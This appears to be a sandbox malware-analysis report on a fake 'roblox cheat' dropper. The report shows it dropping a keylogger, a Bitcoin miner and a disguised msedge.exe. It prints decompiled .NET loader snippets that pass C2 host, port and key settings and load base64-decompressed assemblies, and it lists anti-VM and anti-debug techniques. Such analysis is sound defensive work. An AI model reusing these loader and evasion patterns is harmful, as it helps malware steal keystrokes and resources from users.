Source:	Binary string: zserialNumbersignatureissuervaliditysubjectissuerUIDsubjectUIDextensionsX509_CINFcert_infosig_algX509CERTIFICATEcompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -Oy- -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASM source: roblox cheat.exe, robloxPX1instaler.exe.0.dr
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -Oy- -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASM source: roblox cheat.exe, robloxPX1instaler.exe.0.dr
Source:	Binary string: serialNumbersignatureissuervaliditysubjectissuerUIDsubjectUIDextensionsX509_CINFcert_infosig_algX509CERTIFICATEcompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -Oy- -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASM source: robloxPX1instaler.exe, 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmp, robloxPX1instaler.exe, 00000002.00000000.1248829949.0000000000B58000.00000002.00000001.01000000.00000006.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: BitCoin_miner.exe.3.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: BitCoin_miner.exe.3.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: Keyloger.exe.3.dr, girTRrhIQMQcVyDbxuRrxGQG7zNOoB.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{w3NlLrUpwn05JMopXTd8mSE7UP5bcp._9YAUzJ19chMfqFNJ6TCoEOI8QxrQHh,w3NlLrUpwn05JMopXTd8mSE7UP5bcp.YxYN6QWQIWu5XVAci3urjI00UEnFJ7,w3NlLrUpwn05JMopXTd8mSE7UP5bcp.CCtpPZimJrMU8onPEHRRYLPAiv05nO,w3NlLrUpwn05JMopXTd8mSE7UP5bcp.MfOa5980QCPNnU9x3V9dVBMB71uRJj,dtVFTVK0Ux3SN1R.iCtkLrztKkZDBFY()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: Keyloger.exe.3.dr, girTRrhIQMQcVyDbxuRrxGQG7zNOoB.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{N3zhZ0gcLgaQW9k[2],dtVFTVK0Ux3SN1R.By4JChD42wKAESJEe0khbaDthCWknJS4g49dw5i7eJRFccFB(Convert.FromBase64String(N3zhZ0gcLgaQW9k[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: msedge.exe.3.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: msedge.exe.3.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: BitCoin_miner.exe.3.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: BitCoin_miner.exe.3.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: BitCoin_miner.exe.3.dr, Messages.cs	.Net Code: Memory
Source: Keyloger.exe.3.dr, girTRrhIQMQcVyDbxuRrxGQG7zNOoB.cs	.Net Code: LT2zntgXTGjsdzj2afFrTKkcoonKiN System.AppDomain.Load(byte[])
Source: Keyloger.exe.3.dr, girTRrhIQMQcVyDbxuRrxGQG7zNOoB.cs	.Net Code: PBtLR1iSSO49jTq System.AppDomain.Load(byte[])
Source: Keyloger.exe.3.dr, girTRrhIQMQcVyDbxuRrxGQG7zNOoB.cs	.Net Code: PBtLR1iSSO49jTq
Source: msedge.exe.3.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: msedge.exe.3.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: msedge.exe.3.dr, Messages.cs	.Net Code: Memory

Source: robloxPX1instaler.exe.0.dr

Static PE information: 0xADBEC9FB [Mon May 15 23:38:35 2062 UTC]

Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe

File created: C:\Users\user\AppData\Local\Temp\__tmp_rar_sfx_access_check_5002515

Jump to behavior

Source: cheatinstaler cheatinstalerF6R54T.exe.0.dr	Static PE information: section name: .didat
Source: cheatinstaler cheatinstalerF6R54T.exe.0.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\roblox cheat.exe	Code function: 0_2_014E5CC4 push 8B000004h; iretd	0_2_014E5CCE
Source: C:\Users\user\Desktop\roblox cheat.exe	Code function: 0_2_014EB6FF push edi; retn 0000h	0_2_014EB701
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Code function: 2_2_00B03175 push ecx; ret	2_2_00B03188
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16F5166 push rsi; retf	3_2_00007FF6C16F5167
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16F5156 push rsi; retf	3_2_00007FF6C16F5157

Source: Keyloger.exe.3.dr, albqjOvwCQYLvRXxiGyhIpdY44vi5RLlo7VzM72FUP7qbNEq.cs	High entropy of concatenated method names: '_4MOkoXT607b9ZVv18hCOaQeksKQK1QY2Z59Hgn3vnGNBTDWY', 'aoVp1bvo8BQemLHmXPz6S0y0KAL2MZMS1pG20J1rmkO1yH36', 'yAFN5ozhCBuI45z4NTpIpiKfB19pUh9mAx6dQVO83WEQzG9S', '_1ORCLm148GvAasbvzvKe0j3op', 'xz4IVJsbdqQjT3fvrAzMqnpUJ', 'd5IEku84RPpe3jqqxUoOxlid9', 'baJVbebdBRSG0vXeqpQbaFGhF', 'PdROi8GC1qEzGAZ3jL0JM4kS1', '_4vWYxVH7giIuQNZUquEn1HcOH', 'iweLYuR0sjls7DY5DlgNakVEM'
Source: Keyloger.exe.3.dr, qPFRCBxxevtOrm6kkA6S3T0BVLfQqKPGErYWluL1k515NkyAjTBIKTN89KogayXJPuAweWS9osecqggfc7KqoqU1.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'OvBZh7NuYxNyoawDWVgb1bvQvny4ey9hxzXnZmUKYwMyHV3G', 'D1pK9yah6bW1RSKhi0bojd7k0gErawVt3UAqXVftOOGZ8Ek7', 'Amz2GUO9F3xqCrSqrojRM1z27y3P33TQxbcBuP2jeOuVoQ0I', 'XrVGbup25w9XJj82jHd5OO6JqCynsc4QvmRbz66DPHV276dk'
Source: Keyloger.exe.3.dr, tMXwX3tWlMuOZgJ.cs	High entropy of concatenated method names: 'LjeIsJHhRum59xL', '_6RsfQAJJYyt0J9HkPqIBAQeU380h3KOSQt3dHGv6rcNETpFQfgCb6boQcTnPkAwvsrPG8NTTAwKpmugXZhP', 'zaWTERDp5aT0SDSKgqc0pwq0a7ceYdFVq33bH5rm90KOgrgYcf23ikS2yDHBmgzl4t2KKfhUgFaKblNJ5k3', 'sWVdXUK0j8UTqkeKJ34zN69ydPubFvVaflAAl1XEpkV2r1QsYGAgJphVMO9CuJcZXSLKFk9ZU4EZ9kNpbPz', 'lFKVqnfF4sk3NIn44QcIBHZEg'
Source: Keyloger.exe.3.dr, V2Dstkpoa4KAEaCoYXeMa7Hkw0t8Bq.cs	High entropy of concatenated method names: '_0c5jTYhRyonOUDziLx9bjo6xsSexAe', '_25wKNHm120NsmF8qQvTNtHz3RfwaXK', 'viLdoQDOYFFpv6KJ7CRK3qfhhqjyZ8', 'oyu0xUeMkLUDSGAbVhHha949466V1K', 'Vl9igX7Uc5X0UR61FqWGnXY9OhKp3l', '_5AqL7zP7f68dYFzd47NqgQFLffkmOs', 'HrBKo0STAWa5C612O2nnGfOgnFiJTT', 'EZ9n76FqTYmhSSOefwFVuL5ThwtwlO', 'E14zUxLx5YeoVLmDYLzZ6cZw9IN0jq', 'zBGEheUMvhUAXOJ5xyiI8x2n5H3mDM'
Source: Keyloger.exe.3.dr, dtVFTVK0Ux3SN1R.cs	High entropy of concatenated method names: '_7YMtWoQN5HfGCSK', 'OkqS6ol8M17XMmP', 'uNW6GrfQGz1M2XM', 'Ii6cHrN7BYLDzEF', '_5aJsNyLDXOhokOb', '_9vn0AlUd8GUTBri', 'JvICn3rRI6iioCk', 'UWKlns5zDZ2WYha', '_7hsyClPI7F56lLF', 'oG7pcy3sU6P1wO9'
Source: Keyloger.exe.3.dr, girTRrhIQMQcVyDbxuRrxGQG7zNOoB.cs	High entropy of concatenated method names: 'yz3ulHWN9n14oJZA9i5vmrxphpzaCp', 'LT2zntgXTGjsdzj2afFrTKkcoonKiN', 'RVfS3lUZ13RpRJx', '_36yQU5duIkCbW2T', 'xm86z0xRhaJxcNt', 'meydQmflaU7lI44', 'ulkLjOcP0yxW7UI', 'b6Kn4aSdInWG889', 'buvrIstkF8NGBRb', 'YEEc5g9ZTXWiw5i'
Source: Keyloger.exe.3.dr, 3hMB2la9XyjPtIBDiudYxRNIVlJFvm.cs	High entropy of concatenated method names: 'LfvVtvqV46cUkGAPMYI4VquR3SMv2D', 'vIoAF5cBXshvrNilb2DuPcULPAXNvn', 'kA8SgQYodhg33g9XqJGDIcdyDuU2eq', 'lQv3wZATHx75FgR1TEYl60evq1ah4O', 'PSUdXouR3XnWp7uzoDx9bmHtKpUEQn', 'hianEuAU3qLDiz0mgrS8dJ9EtIpg4FKSm', '_1Uzw1Jv75GWN68eZuqAFXHg859jSuA3VZ', 'Nm7Liat39gbXWFp1qqe6HHX35VDFiL7Da', 'i9EMzetgnoZiy3VF71knEPeukHZBiLL2k', 'jUtPhbUZdmJ9iBO2Yt3x7WmdMEVCHS7NK'
Source: Keyloger.exe.3.dr, WPBnCaT3d8cYQmg.cs	High entropy of concatenated method names: 'XqbpRmwJ4LtIvAR', 'P0jTCqOar3cv9vv', 'cQ4yWoyO6QI0787', '_9bNc4FZpvPn2d8N', 'tSubarXMNHmpIgk', '_0QpL3D9FsZYYURB', 'e12J0P1bomhydt6', 'a8HR9xsSDvlWrSZ', 'fkNSnoNe84RdGzT', 'De6iaF9HVBWEBkc'
Source: Keyloger.exe.3.dr, R0AwzNAU4OLQBy5.cs	High entropy of concatenated method names: '_8DVPMgIt5LmyReW', 'BZVAT9UWtB9Y41EBslDUkcaMcEz93wnp4TwFdsJAwNlh5HH3J22aeHQ4iYM26w4Bz', 'xRvMGytdQ2t0vvaBZmUAw8zGZw6lREIjCy8Hi0yW4uNgQnuaYaSOw4QBYq6OZfOm6', 'YZHXocKFTuIAqCnIKSsaOe8Bu7xKEX61eFFh0gCYv1doZqxiACFmQx8wx0U5Tmaxw', 'KseJ4CZxDxgasaIvvghOQYUtjhm1qNwU5KPV4WJnB97il4HcI4MBrgr30GaNE3nxx'
Source: Keyloger.exe.3.dr, tUULgqwzOy3tsY4.cs	High entropy of concatenated method names: 'XyjKcb0SD0Rnsly', 'onnajoto1IWR83c', '_4JRwDCvuPsxAFxT', 'TUfvtJiSrFTFqfO', 'hKn7O9jilUma2Zw0Est6bw1gkRujD0aPP8Houzr8kpBXX8Is19SryYZ18XrIvaHfPSx1xl3SMjVYx3EGcSp', 'h4RQD1MY3oKURj7ED4KIYRKHKVX617yrfjpvxqbClLGSMVnQNaxibqcg3p41qk3VHfmtekuu5XcduvTUIrL', '_0W2Q7XRDNANGyYK7eYQ1CBoe0T8xbd2SwsQUxdTTxt63ViT6oSnfQrQtDAtoh5P5JHq9VyPg2PLPvvUYpYy', 'qDu4N9S6yNJjuF2IyC1Dipv55nveXbngGs3oU5y97y0gm1zMrkqsSs3csriArDoT7m4uVmnmZE7RcOPNSr2', 'XAGEDgUZ2PI2TXU92O0Frre9DggfBwEZw8SBXJzLTqRAXOPeOXIvKsXXvekl5fCqtfggq9yas1x0W6UAKyW', '_2yOrKM1R5TZHaIoRlmRHTfmfg0sAWQFAnGRUnIyLkL8leSVsnLbKF2mAFPNh8FY82TUpGr5X3XvinrE8GQD'

Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	File created: C:\Users\user\AppData\Local\Temp\Keyloger.exe	Jump to dropped file
Source: C:\Users\user\Desktop\roblox cheat.exe	File created: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	File created: C:\Users\user\AppData\Local\Temp\ msedge.exe	Jump to dropped file
Source: C:\Users\user\Desktop\roblox cheat.exe	File created: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	File created: C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe	Jump to dropped file

Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe

RDTSC instruction interceptor: First address: 8F39F0 second address: 8F3A8B instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ecx+20h], eax 0x00000005 mov dword ptr [ecx+24h], edx 0x00000008 mov dword ptr [ecx+2Ch], 00000016h 0x0000000f mov dword ptr [ecx+30h], 00000000h 0x00000016 mov dword ptr [ecx+34h], 00000000h 0x0000001d mov dword ptr [ecx+38h], 00000000h 0x00000024 mov dword ptr [ecx+48h], 00000000h 0x0000002b mov dword ptr [ecx+4Ch], 00000000h 0x00000032 mov dword ptr [ecx+50h], 00000000h 0x00000039 mov dword ptr [ecx+54h], 00000000h 0x00000040 mov dword ptr [ecx+68h], 00000000h 0x00000047 mov dword ptr [ecx+60h], 00000000h 0x0000004e mov dword ptr [ecx+64h], 00000000h 0x00000055 mov dword ptr [ecx+6Ch], 00000001h 0x0000005c mov dword ptr [ecx+10h], 0000003Ch 0x00000063 mov dword ptr [ecx], 00000000h 0x00000069 mov dword ptr [ecx+00088978h], FFFFFFFFh 0x00000073 mov dword ptr [ecx+00088D80h], FFFFFFFFh 0x0000007d mov dword ptr [ecx+00089188h], FFFFFFFFh 0x00000087 mov dword ptr [ecx+00089590h], FFFFFFFFh 0x00000091 mov dword ptr [ecx+00089998h], FFFFFFFFh 0x0000009b rdtsc

Source: C:\Users\user\Desktop\roblox cheat.exe	Memory allocated: 14E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Memory allocated: 3200000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Memory allocated: 3090000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\roblox cheat.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe

Window / User API: threadDelayed 1340

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Keyloger.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ msedge.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_2-1897

Source: C:\Users\user\Desktop\roblox cheat.exe TID: 6156	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe TID: 2032	Thread sleep time: -55827s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe TID: 2032	Thread sleep time: -55457s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe

File Volume queried: C:\Users\user\AppData\Local\Temp\Roblox\http FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16DB190 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,IsDlgButtonChecked,IsDlgButtonChecked,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetDlgItemTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,IsDlgButtonChecked,SendDlgItemMessageW,GetDlgItem,IsDlgButtonChecked,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,IsDlgButtonChecked,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	3_2_00007FF6C16DB190
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16C40BC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	3_2_00007FF6C16C40BC
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16EFCA0 FindFirstFileExA,	3_2_00007FF6C16EFCA0

Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe

Code function: 3_2_00007FF6C16E16A4 VirtualQuery,GetSystemInfo,

3_2_00007FF6C16E16A4

Source: C:\Users\user\Desktop\roblox cheat.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Thread delayed: delay time: 55827	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Thread delayed: delay time: 55457	Jump to behavior

Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr, cacert.pem.2.dr	Binary or memory string: MDALj2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmUv4RDsNuE
Source: cheatinstaler cheatinstalerF6R54T.exe, 00000003.00000002.1266710654.00000225ABFD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: robloxPX1instaler.exe, 00000002.00000003.1447851301.0000000001BCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe

Code function: 2_2_00B0E378 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_00B0E378

Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Code function: 2_2_00B2D0F8 mov eax, dword ptr fs:[00000030h]	2_2_00B2D0F8
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Code function: 2_2_00B243AC mov ecx, dword ptr fs:[00000030h]	2_2_00B243AC
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Code function: 2_2_00B2D13C mov eax, dword ptr fs:[00000030h]	2_2_00B2D13C

Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe

Code function: 3_2_00007FF6C16F0D20 GetProcessHeap,

3_2_00007FF6C16F0D20

Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Code function: 2_2_00B02F78 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00B02F78
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Code function: 2_2_00B0E378 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00B0E378
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16E3170 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF6C16E3170
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16E2510 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF6C16E2510
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16E3354 SetUnhandledExceptionFilter,	3_2_00007FF6C16E3354
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16E76D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF6C16E76D8

Source: C:\Users\user\Desktop\roblox cheat.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe

Code function: 3_2_00007FF6C16DB190 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,IsDlgButtonChecked,IsDlgButtonChecked,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetDlgItemTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,IsDlgButtonChecked,SendDlgItemMessageW,GetDlgItem,IsDlgButtonChecked,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,IsDlgButtonChecked,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

3_2_00007FF6C16DB190

Source: C:\Users\user\Desktop\roblox cheat.exe	Process created: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe "C:\Users\user~1\AppData\Local\Temp\robloxPX1instaler.exe"	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process created: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe "C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\coin.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://2no.co/24RXx6	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe

Code function: 3_2_00007FF6C16F58E0 cpuid

3_2_00007FF6C16F58E0

Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

3_2_00007FF6C16DA2CC

